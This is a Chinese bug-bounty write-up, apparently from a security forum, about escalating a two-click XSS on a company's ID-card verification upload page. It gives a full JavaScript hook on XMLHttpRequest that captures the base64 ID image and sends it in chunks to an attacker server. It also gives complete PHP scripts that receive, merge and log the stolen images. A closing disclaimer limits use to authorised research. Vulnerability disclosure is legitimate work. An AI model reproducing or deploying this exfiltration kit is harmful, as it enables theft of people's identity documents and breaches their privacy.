记一次某企业src xss深入利用分块上传获取敏感信息

信息收集发现一个系统

image.png

是上传sfz 实名认证的功能点

然后看见url参数
https://a.xxx.com/menzheng/sfz.html?token=66666666666&udbAppId=&appId=BdOw&company=1&link=https://b.xxx.com
这里一看link参数就很不对劲

那么我们尝试把他改成攻击者域名看看能不能跳转
https://a.xxx.com/menzheng/sfz.html?token=66666666666&udbAppId=&appId=BdOw&company=1&link=https://www.baidu.com

访问之后发现页面还是没变化
,那么link参数改成试试

javascript:alert(1)

结果还是没变化,那就奇怪了那这个参数是干嘛的呢

经过一顿胡乱分析后,发现必须点击这里才能触发link

image.png


image.png


那这样子就是2click xss了而已(并且这里读不到关键cookie),难道就这么放弃了吗???!!

image.png

感觉还是危害不太大
既然这里是上传sfz功能点,那么我们为什么不利用xss来获取用户上传的sfz呢?
说干就干

image.png

随便上传图片后提交抓包

可以发现请求体的参数是通过base64方式上传的

image.png

这个太长了,数据量太大只能用分块上传

image.png

1.HOOK http原生方法 然后读取请求体的frontImage参数 由于是base64

太长了 所以采取分块上传


var o=XMLHttpRequest.prototype.send;XMLHttpRequest.prototype.send=function(b){if(b){var s='',t='';if(b instanceof FormData){for(var p of b.entries())if(p[0]==='frontImage'){s=p[1];t='FormData';break;}}else if(typeof b==='string'){try{var j=JSON.parse(b);s=j.frontImage||'';t='JSON';}catch(e){try{s=new URLSearchParams(b).get('frontImage')||'';t='URLEncoded';}catch(e2){}}}if(s){var chunkSize=3000;var sessionId=Date.now()+'_'+Math.random().toString(36).substr(2,9);var totalChunks=Math.ceil(s.length/chunkSize);for(var i=0;i<totalChunks;i++){var chunk=s.substring(i*chunkSize,(i+1)*chunkSize);var chunkData={sessionId:sessionId,chunkIndex:i,totalChunks:totalChunks,data:chunk,type:t,timestamp:Date.now(),dataLength:s.length};new Image().src='https//vps/test888/save_chunk.php?d='+encodeURIComponent(JSON.stringify(chunkData));}}}return o.apply(this,arguments);};

2.服务器端PHP接收和合并脚本(save_chunk.php)

<?php
// save_chunk.php - 接收分块数据并合并
header('Access-Control-Allow-Origin: *');
header('Content-Type: text/plain; charset=utf-8');
// 获取数据
$rawData = isset($_GET['d']) ? $_GET['d'] : '';
if (empty($rawData)) {
    $rawData = file_get_contents('php://input');
}

if (!$rawData) {
    die("No data received");
}

// 解码数据
$rawData = urldecode($rawData);

// 关键修复:将空格替换回加号(+)
// Base64中的加号在URL传输中被转成了空格
$rawData = str_replace(' ', '+', $rawData);

$chunkData = json_decode($rawData, true);

if (!$chunkData) {
    die("Invalid JSON data");
}

$sessionId = $chunkData['sessionId'] ?? 'unknown';
$chunkIndex = $chunkData['chunkIndex'] ?? 0;
$totalChunks = $chunkData['totalChunks'] ?? 1;
$chunk = $chunkData['data'] ?? '';
$dataType = $chunkData['type'] ?? 'unknown';
$dataLength = $chunkData['dataLength'] ?? 0;
$timestamp = $chunkData['timestamp'] ?? time();

// 创建目录
$saveDir = dirname(__FILE__);
$chunksDir = $saveDir . '/chunks';
$completedDir = $saveDir . '/completed';

if (!is_dir($saveDir)) mkdir($saveDir, 0755, true);
if (!is_dir($chunksDir)) mkdir($chunksDir, 0755, true);
if (!is_dir($completedDir)) mkdir($completedDir, 0755, true);

// 保存当前分块
$chunkFile = $chunksDir . '/' . $sessionId . '_' . $chunkIndex . '.chunk';
file_put_contents($chunkFile, $chunk);

// 记录分块信息
$logFile = $chunksDir . '/' . $sessionId . '.info';
$info = [
    'sessionId' => $sessionId,
    'totalChunks' => $totalChunks,
    'receivedChunks' => [],
    'dataType' => $dataType,
    'totalLength' => $dataLength,
    'startTime' => $timestamp,
    'chunks' => []
];

if (file_exists($logFile)) {
    $info = json_decode(file_get_contents($logFile), true);
}

// 更新已接收的分块
$info['receivedChunks'][] = $chunkIndex;
$info['chunks'][$chunkIndex] = [
    'size' => strlen($chunk),
    'received' => time()
];

file_put_contents($logFile, json_encode($info, JSON_PRETTY_PRINT));

// 检查是否所有分块都已接收
$receivedCount = count(array_unique($info['receivedChunks']));
$allReceived = ($receivedCount >= $totalChunks);

if ($allReceived) {
    // 合并所有分块
    $completeData = '';
    for ($i = 0; $i < $totalChunks; $i++) {
        $chunkFile = $chunksDir . '/' . $sessionId . '_' . $i . '.chunk';
        if (file_exists($chunkFile)) {
            $completeData .= file_get_contents($chunkFile);
        }
    }
    
    // 保存完整数据
    $filename = 'frontImage_' . date('Y-m-d_H-i-s', $timestamp/1000) . '_' . $sessionId . '.txt';
    $filepath = $completedDir . '/' . $filename;
    
    $fileContent = "=== FrontImage Data Capture ===
";
    $fileContent .= "Session ID: " . $sessionId . "
";
    $fileContent .= "Capture Time: " . date('Y-m-d H:i:s', $timestamp/1000) . "
";
    $fileContent .= "Data Type: " . $dataType . "
";
    $fileContent .= "Data Length: " . strlen($completeData) . " bytes
";
    $fileContent .= "Total Chunks: " . $totalChunks . "
";
    $fileContent .= "Source IP: " . ($_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'Unknown') . "
";
    $fileContent .= "=================================

";
    $fileContent .= $completeData;
    
    if (file_put_contents($filepath, $fileContent)) {
        // 清理分块文件
        for ($i = 0; $i < $totalChunks; $i++) {
            $chunkFile = $chunksDir . '/' . $sessionId . '_' . $i . '.chunk';
            if (file_exists($chunkFile)) {
                unlink($chunkFile);
            }
        }
        
        // 删除信息文件
        if (file_exists($logFile)) {
            unlink($logFile);
        }
        
        // 记录到日志
        $masterLog = $saveDir . '/capture_log.txt';
        $logEntry = date('Y-m-d H:i:s') . " | COMPLETED | " . 
                    $_SERVER['REMOTE_ADDR'] . " | " . 
                    $dataType . " | " . strlen($completeData) . " bytes | " . 
                    $totalChunks . " chunks | " . $filename . "
";
        file_put_contents($masterLog, $logEntry, FILE_APPEND);
        
        echo "Data saved to: " . $filename;
    } else {
        echo "Error saving complete file";
    }
} else {
    $remaining = $totalChunks - $receivedCount;
    echo "Chunk received: " . ($chunkIndex + 1) . "/" . $totalChunks . 
         " | Remaining: " . $remaining . 
         " | Session: " . $sessionId;
}
?>

3.auto_merge.php - 自动合并所有完整的分块会话

<?php
// auto_merge.php - 自动合并所有完整的分块会话
$chunksDir = dirname(__FILE__) . '/chunks';
$completedDir = dirname(__FILE__) . '/completed';

if (!is_dir($completedDir)) {
    mkdir($completedDir, 0755, true);
}

// 获取所有chunk文件
$chunkFiles = glob($chunksDir . '/*.chunk');
if (empty($chunkFiles)) {
    die("没有找到分块文件");
}

// 按会话分组
$sessions = [];
foreach ($chunkFiles as $file) {
    $basename = basename($file);
    // 格式: timestamp_random_数字.chunk
    if (preg_match('/^(\d+_[a-z0-9]+)_(\d+)\.chunk$/', $basename, $matches)) {
        $sessionId = $matches[1];
        $chunkNum = intval($matches[2]);
        $sessions[$sessionId][$chunkNum] = $file;
    }
}

$mergedCount = 0;
foreach ($sessions as $sessionId => $chunks) {
    ksort($chunks); // 按分块编号排序
    
    // 检查是否连续
    $expected = 0;
    $isContinuous = true;
    foreach ($chunks as $chunkNum => $file) {
        if ($chunkNum != $expected) {
            $isContinuous = false;
            break;
        }
        $expected++;
    }
    
    if ($isContinuous && count($chunks) > 0) {
        // 合并
        $completeData = '';
        foreach ($chunks as $chunkNum => $file) {
            $completeData .= file_get_contents($file);
        }
        
        $outputFile = $completedDir . '/' . $sessionId . '.txt';
        file_put_contents($outputFile, $completeData);
        
        // 记录
        $logFile = $completedDir . '/merge_log.txt';
        $log = date('Y-m-d H:i:s') . " | {$sessionId} | " . 
               count($chunks) . " chunks | " . strlen($completeData) . " bytes
";
        file_put_contents($logFile, $log, FILE_APPEND);
        
        // 清理分块文件
        foreach ($chunks as $chunkNum => $file) {
            unlink($file);
        }
        
        $mergedCount++;
        echo "已合并: {$sessionId} (" . count($chunks) . " 个分块)
";
    } else {
        echo "会话 {$sessionId} 分块不连续或缺失
";
    }
}

echo "
合并完成!总共处理了 {$mergedCount} 个会话。
";
?>

大概就是说 save_chunk.php 用来保存 分块上传的文件
然后auto_merge.php 用来合并分块上传

--
受害者点击了隐私条款触发xss后,然后上传提交sfz后就得到完整的base64 然后去在线转化一下图片就得到了受害者身份证图片

image.png

该场景是上传身份证场景也就是说 受害者上传身份证后 就会储存到我的服务器
直接读取受害者身份证图片


完整攻击链
在服务器搭建好攻击代码作用:受害者访问攻击者构造好的链接-->受害者上传图片-->触发xss-->获取本地图片base64(请求体参数)-->分块上传本地的base64图片-->然后利用auto_merge.php把分块获取的base64数据合并-->得到完整的图片base64-->转化成图片-->成功获取受害者身份证


麻烦点点赞,谢谢各位大佬们嘿嘿

温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。

涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。

如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。